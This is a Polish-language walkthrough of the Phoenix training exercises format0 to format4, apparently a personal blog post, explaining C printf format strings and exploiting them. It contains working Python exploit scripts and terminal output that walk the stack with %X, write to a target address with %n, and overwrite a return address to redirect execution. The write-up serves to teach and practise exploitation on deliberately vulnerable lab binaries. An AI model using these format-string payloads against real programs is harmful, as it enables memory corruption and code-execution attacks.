“Gdy ci smutno gdy ci źle, zrób se formatowanie ciągu w C”

printf(), dla tych nie zaznajomionych, jest bardzo wygodną funkcją z z standardowej biblioteki C, która pozwala na drukowanie tekstu na maszynie do pisania. Znaczy się, taka prawdopodobnie jest jej geneza, czyli z czasów, gdy o fakcie kupienia sobie komputera maszyny liczącej wiedziało (prawie) całe miasto

Używanie jej wygląda przykładowo w następujący sposób:

printf("Witaj %s, dzisiaj jest %02d %s - %.3s" , "Soveu", 8, "lutego", "piątek")

Wyświetlona treść będzie wyglądać następująco

Witaj Soveu, dzisiaj jest 08 lutego - pią

Ciągi formatujące występują nie tylko w C - występują w większości współczesnych języków programowania (np. Go, Python). O ile w przypadku tych języków podanie nieodpowiedniego ciągu formatującego kończy się błędem TypeError (python) lub wypisaniem danych w mniej elegancki sposób %!d(float64=13.5) %!c(MISSING) (golang), to C wymaga od programisty zadbania o to.
Przykładowo,

printf("%p %p %p %p")

wypisze dane, które akurat znajdują się w miejscu argumentów - jest to zależne od architektury procesora oraz systemu operacyjnego. O tzw. “calling convention” polecam sobie poczytać ten dokument

format0

rozgrzewka, działa cokolwiek, np. %x%x%x%x%x%x%x%x

format1

tutaj potrzebna jest odrobina wiedzy z ciągów formatujących - bardzo ułatwia to życie. zamiast próbować na siłę robić %x lepiej jest to zrobić robiąc padding %10d - rozmiar ciągu jest wtedy pod kontrolą (w tym przypadku robi 10 spacji) Flag: %44dlOvE

format2

Zmiana globalnej wartości - jak to zrobić?? Można zapisywać przy pomocy %n, ale wtedy na stosie musi się znaleźć adres tej zmiennej. Hmmm… Jest jeden bufor char buf[256], może by z niego coś spróbować zrobić?

#!/usr/bin/python

payload = "%X " * 50
padding = "A" * (256 - len(payload))
print(padding + payload)

Ciąg trzeba wprowadzić przez argv[1], dlatego lepiej sobie padding zrobić, żeby nie było żadnych efektów ubocznych typu przesunięcie stosu przez dłuższy ciąg w zmiennych środowiskowych

svu@unassigned:~$ ./amd64/format-two "`./format2/script.py`"
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0 0 FFFFE7E6 1010101 FFFFE44F FFFFE490 FFFFE490 FFFFE590 400745 FFFFE5E8 4003A0 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 58254141 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 2 F7D8FD62 0 FFFFE5E0 0 F7FFDBC8 3E00 Better luck next time!

svu@unassigned:~$ 

Parę adresów i nasz bufor składający się z 0x41 :) Adres pamięci do zmiany trzeba umieścić na końcu buforu, ponieważ są nam potrzebne zera na najbardziej znaczących bitach, a w C zero w ciągu oznacza jego koniec, więc to co będzie za nim nie zostanie skopiowane przez strncpy().

#!/usr/bin/python

import struct

payload = "%X " * 27
payload += struct.pack("Q", 0x6010b0)

padding = "A" * (128 - len(payload))

print(padding + payload)
svu@unassigned:~$ ./amd64/format-two "`./format2/script.py`"
-bash: warning: command substitution: ignored null byte in input
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0 5 0 FFFFE58B FFFFE4CF FFFFE510 FFFFE510 FFFFE610 400745 FFFFE668 4003A0 41414141 41414141 41414141 41414141 41414141 58252058 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 6010B0 �`Better luck next time!

svu@unassigned:~$

Jak widać bash nam przypomina o tym fakcie. To, co również widać to ostatnia “wydrukowana” liczba - adres, który jest kluczem tego crackme. Wystarczy zmienić teraz ostatnie %X na %n i format-two ukończone.

svu@unassigned:~$ ./amd64/format-two "`./format2/script.py`"
-bash: warning: command substitution: ignored null byte in input
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0 5 0 FFFFE58B FFFFE4CF FFFFE510 FFFFE510 FFFFE610 400745 FFFFE668 4003A0 41414141 41414141 41414141 41414141 41414141 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 25205825 �`Well done, the 'changeme' variable has been changed correctly!
svu@unassigned:~$ 

Bum! :)

format3

To samo, tylko przez stdin i trzeba nadpisać konkretną wartością. Wydaje się proste, ale trzeba wygenerować 0x64457845 (1.682.274.373 dziesiętnie) znaków. Przyda się padding z format-two

svu@unassigned:~$ ./format3/script.py | ./amd64/format-three 
Welcome to phoenix/format-three, brought to you by https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF7FFDC0C F7FFB300 F7DC2617 0 0 0 FFFFD680 FFFFE680 4006C6 FFFFE6D8 0 41414141 41414141 41414141 41414141 41414141 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 25205825 �`Better luck next time - got 0x000000f4, wanted 0x64457845!

Hah! Używając skryptu z poprzedniego zadania jestem w stanie zmienić dane w tym :D To jest ten moment, dla którego warto robić notatki :)
Lekkie zmiany w kodzie

#!/usr/bin/python

import struct

amount = 0x1000
payload = "%X " * 25 + "%" + str(amount) + "x " + "%n"
payload += struct.pack("Q", 0x6010b0)

padding = "A" * (128 - len(payload))

print(padding + payload)
Better luck next time - got 0x000010e9, wanted 0x64457845!

Czyli krótko mówiąc, ilość znaków wypisanych = amount + 0xE9 Według wszelkich praw matematyki flaga = 0x64457845 - 0xE9

I taka drobna informacja, dla przyszłych czytelników - zapiszcie sobie output do jakieś pliku, bo wyświetlenie paru milionów spacji troszkę zajmuje
Nie róbcie tego - plik waży parę gigabajtów i ledwo się mieści w moim RAM. Używajcie tail -c 80.

Better luck next time - got 0x6445783e, wanted 0x64457845!

7 znaków więcej…

svu@unassigned:~$ ./format3/script.py | ./amd64/format-three | tail -c 80
     37343134 �`Well done, the 'changeme' variable has been changed correctly!
svu@unassigned:~$ 

Jestem tylko ciekaw, czy dało by się to zrobić nadpisując bajt po bajcie, wtedy ilość wygenerowanych znaków wynosiłaby zamiast półtora miliarda, 0x64 + 0x45 + 0x78 + 0x45 = 358

format4

*Serious music plays*

Kluczem do rozwiązania tego zadania jest nadpisanie adresu powrotu przy użyciu printf() Stos wygląda mniej-więcej w taki sposób

+------------------------------------------+
| zmienne                                  |
| lokalne                                  |
| printf                                   |
+------------------------------------------+
| podstawa ramki stosu poprzedniej funkcji |
+------------------------------------------+
| adres powrotu do poprzedniej funkcji     |
+------------------------------------------+
| zmienne                                  |
| lokalne                                  |
| funkcji                                  |
| wywołującej                              |
+------------------------------------------+

Na x86-64 tylko 5 pierwszych argumentów jest przekazywanych przez rejestry CPU, reszta jest odkładana na stosie, dlatego przy większej ilości znaków formatujących (%x, %p…) printf() będzie odczytywał wartości ze stosu. Używając ich możemy przejść przez dane na stosie do kontrolowanego bufora i następnie wywołać %n kiedy printf() będzie odczytywał z miejsca, gdzie zapisaliśmy adres wartości do zmodyfikowania.

Pierwsze podejście:
wylądowałem na 0x400673 - o jeden bajt nie trafiłem :D

Drugie podejście:

44441����Well done, you're redirected code execution!
[Inferior 1 (process 836) exited normally]
gef➤  

Dobra, zrobiłem to w debugerze, czas to zrobić ‘na sucho’ Nie działa, tak jak myślałem - stos się trochę przesunął przez debuggera

#!/usr/bin/python

import sys
import struct

ptr = 0x7fffffffe618
advance = int(sys.argv[1], 10)
ret = struct.pack("Q", ptr + advance)

# 0000000000400674 <congratulations>:
congrats = 0x400674

payload = ""
payload += "%X " * 8
payload += "%p" # here lies ret ptr

payload += "%X " * 9
payload += "%" + str(congrats - len(payload) - 79) + "d"
payload += "%p"

#ret = "\x68\xe6\xff\xff\xff\x7f\x00\x00" # addr of ret addr
# 0x7ffff7ffdc0c 0x7ffff7ffb300 0x7ffff7dc2617 0 0 0 0x7fffffffd690 0x7fffffffe690 0x4006e5

#ret = "\x18\xd6\xff\xff\xff\x7f\x00\x00" # addr of ret addr in gdb
# 0x7ffff7ffdc0c 0x7ffff7ffb300 0x7ffff7dc2617 0 0 0 0x7fffffffd650 0x7fffffffe650 0x4006e5

print(payload + ret)
svu@unassigned:~$ for i in {0..40}; do ./format4/script.py `expr ${i} \* 8` | ./amd64/format-four | grep Well; done
svu@unassigned:~$ for i in {0..40}; do ./format4/script.py -`expr ${i} \* 8` | ./amd64/format-four | grep Well; done 

Nic nie działa… :( Nie wiem czemu, ale return pointer był po prostu -4032 bajtów dalej (pewnie zamiast D680 przeczytałem E680)

44441X����Well done, you're redirected code execution!

Zostałem przekierowaną egzekucją kodu! :D